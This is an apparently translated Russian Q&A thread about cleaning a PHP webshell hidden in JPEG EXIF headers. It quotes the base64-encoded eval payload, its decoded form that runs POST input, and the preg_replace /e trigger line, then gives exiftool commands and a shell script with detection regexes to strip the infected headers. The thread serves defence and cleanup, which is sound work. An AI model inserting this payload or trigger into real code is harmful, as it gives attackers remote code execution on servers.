1

У меня есть много файлов во многих медиа каталогах с какой-то строкой, и я хочу удалить эту строку.

Строка содержится в файлах JPEG и выглядит следующим образом:

eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));

Кодированная часть base64 после декодирования:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

Как это сделать?

1 ответ1

2

объяснение

То, что вы описали, является частью известного бэкдора PHP. Основной код PHP скрыт кодировкой base64, поэтому его не так легко обнаружить. Код , который вы показали , как правило , скрыты в Exif заголовка Model и другая важная часть (PCRE /.*/e , как правило , в заголовке Make

Код из Exif исполняется другой частью бэкдора - вызовом preg_replace($exif['Make'],$exif['Model'],''); на Exif данные с картинки. Подробности см., Например, « Вредоносное ПО, скрытое внутри заголовков JPG EXIF» или « Скрытие кода Backdoor Webshell» в файлах изображений.

Решение

Вы можете вылечить зараженные изображения, удалив соответствующие заголовки Exif. Сначала проверьте, есть ли проблемные строки в заголовках Make и Model:

exiftool file.jpg

Затем вы можете удалить заголовки:

find /directory/with/images -iname '*.jpg' -exec exiftools -Make= -Model= {} +

Этот код удалит два заголовка из всех файлов .jpg независимо от содержимого заголовков. Если вы хотите удалить только зараженные заголовки, код будет значительно сложнее. Сценарий для этого приведен ниже в конце этого ответа.

Убедившись, что результаты в порядке, вы можете удалить резервные копии, созданные exiftool:

find /directory/with/images -iname '*.jpg_original' -delete

Имейте в виду, что другая часть черного хода тоже должна быть удалена. Он находится в коде PHP на сервере и обычно выглядит так:

$exif = exif_read_data('/path/to/an/image.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

Скрипт для более точного удаления

Следующий скрипт обнаруживает, в каких заголовках Exif находится код вредоносного ПО. Сохраните код в файле, например, rm-jpg-backdoor затем включите выполнение: chmod a+x rm-jpg-backdoor . При вызове скрипта вы можете передать каталоги файлов для очистки в качестве аргументов. Пример: ./rm-jpg-backdoor /directory/with/images

#!/bin/sh

suff=jpg    # problematic file suffix

# extended regex signatures of malware code
badregex1='eval\( *base64_decode\( *'\'
badregex2='/.+/e'

script="$0" # this script name for recursion

for f in "$@" ; do
    if test -d "$f" ; then
        echo "=== recursing directory $f"
        find "$f" -type f -iname "*.$suff" -exec "$script" {} +
    elif test -f "$f" ; then
        echo "-- cleaning file $f"
        hdr1="$( exiftool "$f" | grep -E ".+ +: +$badregex1" | sed -r 's/^([a-zA-Z /]*[a-zA-Z]) +: +.*$/\1/' )"
        test -n "$hdr1" && { echo "removing $hdr1" ; exiftool "-$hdr1=" "$f" ; }
        hdr2="$( exiftool "$f" | grep -E ".+ +: +$badregex2" | sed -r 's/^([a-zA-Z /]*[a-zA-Z]) +: +.*$/\1/' )"
        test -n "$hdr2" && { echo "removing $hdr2" ; exiftool "-$hdr2=" "$f" ; }
    fi
done

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .